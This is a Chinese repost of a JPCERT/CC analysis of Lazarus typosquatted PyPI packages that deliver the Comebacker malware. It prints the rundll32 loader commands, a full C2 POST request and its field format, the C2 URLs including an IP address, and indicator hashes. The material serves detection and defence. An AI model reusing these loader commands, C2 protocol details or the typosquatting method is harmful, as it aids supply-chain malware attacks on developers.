Lazarus组织在官方Python存储库中发放Comebacker

2024年 2月 29日 75.6k 0

JPCERT/CC 已确认 Lazarus 已向官方 Python 包存储库 PyPI 发布了恶意 Python 包(图 1)。本次确认的Python包如下:

pycryptoenv

pycryptoconf

quasarlib

swapmempool

包名pycryptoenv和pycryptoconf类似pycrypto,是Python中用于加密算法的Python包。因此,攻击者很可能是为了针对用户安装Python包时的拼写错误而准备了包含恶意软件的恶意包。本文提供了有关这些恶意 Python 包的详细信息。

图1:Lazarus攻击组织发布的Python包

恶意Python包的文件结构

由于本次确认的多个Python恶意包的文件结构几乎相同,因此本文pycryptoenv以下章节均以此为例。恶意Python包的文件结构如图2所示。恶意软件的主体是一个名为test.py. 这个文件本身不是Python而是二进制数据,是一个编码的DLL文件。

图2:pycryptoenv的文件结构

解码和执行的代码test.py包含在 中__init__.py,如图 3 所示。它test.py只是一个 XOR 编码的 DLL 文件,它被解码、保存为文件,然后由 执行__init__.py。

图 3:解码和执行 test.py 的代码

这种类型的恶意软件称为 Comebacker,与 2021 年 1 月 Google 报告的一次攻击中 Lazarus 用于针对安全研究人员的恶意软件类型相同。以下各节介绍了test.py.

test.py 的详细信息

test.py由于pycryptoenv中不存在调用该函数进行解码和执行的代码(图3中的crypt函数),因此仅通过安装pycryptoenv无法执行该恶意软件。因此,攻击者可能会以某种方式运行在目标机器上执行 crypt 函数的 Python 脚本。以下部分描述了运行解码并执行 test.py 的函数时的行为。图4展示了从pycryptoenv到恶意软件主体执行的流程。

图 4:Comebacker 执行流程

异或解码后test.py,保存为output.pyDLL文件,然后通过以下命令执行。

$ rundll32 output.py,CalculateSum

DLL 文件IconCache.db是NTUSER.DAT通过以下命令创建和执行的。NTUSER.DAT被编码,解码后的数据在内存中执行,这个数据就是Comebacker的主体。

RUNDLL32.exe %APPDATA%..RoamingMicrosoftIconCache.db,GetProcFunc %APPDATA%..RoamingMicrosoftCredentialsNTUSER.DAT

此次确认的样本具有如图5所示的固定解码密钥​​,用于对每个文件进行解码。

图 5:解码按键和解码函数

此外,该示例中使用的 NOP 代码具有独特的特征。如图6所示,66 66 66 66代码中间有一个以 开头的命令。这经常被使用,特别是在解码和编码函数中。Lazarus 使用的其他类型的恶意软件中也发现了这一特征,包括恶意软件 BLINDINGCAN。

图 6:Comebacker 和 BLINDINGCAN 之间的特征 NOP 命令比较

Comebacker详情

Comebacker 向其 C2 服务器发送以下 HTTP POST 请求。

POST /manage/manage.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: chaingrown.com
Content-Length: 129
Cache-Control: no-cache

NB=XMAFUUCARD&GPETR=NTU1NTY0aHU0Z2psMkRhUA==&FCKA=&YUYRNT=0&POCAYM=52&PQWFQU=MgAwADIANAAtADAAMgAtADAANQAgADIANAA6ADMANAA6ADUANgA=

POST 数据由以下部分组成:

[2 random characters]=[command (determined by string length)]&[random character]=[device ID (base64 encoded)]&[random character]=[not used (base64 encoded)]&[random character]=[number (initially 0 and after receiving data, it becomes the value in the received data.)]&[random character]=[length of the next value]&[random character]=[yyyy-MM-dd hh:mm:ss(base64 encoded)*]

*After receiving data from the server, it becomes "yyyy-MM-dd hh:mm:ss|command (same as the first one sent)|number of bytes received"

作为对发送的上述数据的响应,服务器发回一个 Windows 可执行文件(有关接收到的数据格式的详细信息,请参阅附录 A)。Comebacker 具有在内存中执行接收到的 Windows 可执行文件的功能。

相关攻击

Phylum过去曾报道过与此攻击类似的案例。在这种情况下,npm 包中包含 Comebacker,因此该攻击也被认为是由 Lazarus 发起的。通过这种方式,攻击者的目的是在多个软件包存储库中传播恶意软件感染。

图7:Lazarus攻击组织发布的npm包

结束语

此次确认的恶意Python包已被下载约300至1,200次(图8)。攻击者可能会针对用户的拼写错误来下载恶意软件。当您在开发环境中安装模块和其他类型的软件时,请小心操作,以避免安装不需要的软件包。有关本文所述恶意软件的 C2 和其他信息,请参阅附录。

图 8:pycryptoenv 下载数量

参考

附录A:接收数据的格式

数据格式如下:

[number(number to be included in the next POST data)]|[number(data size to receive)]|[Export function to be called by the downloaded Windows executable file]|[argument for the Export function]|[MD5 hash value]

附录 B:C2

https://blockchain-newtech.com/download/download.asp
https://fasttet.com/user/agency.asp
https://chaingrown.com/manage/manage.asp
http://91.206.178.125/upload/upload.asp

附录 C:恶意软件哈希值

pycryptoenv-1.0.7.ta​​r.gz
- b4a04b450bb7cae5ea578e79ae9d0f203711c18c3f3a6de9900d2bdfaa4e7f67
pycryptoenv-1.0.7-py3-none-any.whl
-c56c94e21913b2df4be293001da84c3bb20badf823ccf5b6a396f5f49df5efff
pycryptoconf-1.0.6.tar.gz
- 956d2ed558e3c6e447e3d4424d6b14e81f74b63762238e84069f9a7610aa2531
pycryptoconf-1.0.6-py3-none-any.whl
-6bba8f488c23a0e0f753ac21cd83ddeac5c4d14b70d4426d7cdeebdf813a1094
quasarlib-1.0.8.tar.gz
- 173e6bc33efc7a03da06bf5f8686a89bbed54b6fc8a4263035b7950ed3886179
quasarlib-1.0.8-py3-none-any.whl
-3ab6e6fc888e4df602eff1c5bc24f3e976215d1e4a58f963834e5b225a3821f5
swapmempool-1.0.8.tar.gz
- 60c080a29f58cf861f5e7c7fc5e5bddc7e63dd1db0badc06729d91f65957e9ce
swapmempool-1.0.8-py3-none-any.whl
-26437bc68133c2ca09bb56bc011dd1b713f8ee40a2acc2488b102dd037641c6e
Comebacker
- 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c
- e05142f8375070d1ea25ed3a31404ca37b4e1ac88c26832682d8d2f9f4f6d0ae

Loader

- 01c5836655c6a4212676c78ec96c0ac6b778a411e61a2da1f545eba8f784e980
- aec915753612bb003330ce7ffc67cfa9d7e3c12310f0ecfd0b7e50abf427989a
- 85c3a2b185f882abd2cc40df5a1a341962bc4616bc78a344768e4de1d5236ab7
- a4e4618b358c92e04fe6b7f94a114870c941be5e323735a2e5cd195138327f8f
- a8a5411f3696b276aee37eee0d9bed99774910a74342bbd638578a315b65e6a6
- 8fb6d8a5013bd3a36c605031e86fd1f6bb7c3fdba722e58ee2f4769a820b86b0

附录 D:PDB

F:workspaceCBGLoadernpmLoaderDllx64ReleasenpmLoaderDll.pdb
F:workspaceCBGnpmLoaderDllx64ReleasenpmLoaderDll.pdb
D:workspaceCBGWindowsLoadernpmLoaderDllx64ReleasenpmLoaderDll.pdb
F:workspaceCBGLoaderpublicLoaderFirstx64ReleasepublicLoaderFirst.pdb

参考链接: https://blogs.jpcert.or.jp/en/2024/02/lazarus_pypi.html

图片来源网络目标可联系删除

相关文章

Mallox勒索软件新Linux变种现世
伪装成破解程序和商业工具的新型恶意软件正在传播
Orcinius后门新样本分析
Poseidon窃取程序通过Google广告感染Mac用户
大选开始之际,欧盟各政党遭受 DDoS 攻击
微软2024

发布评论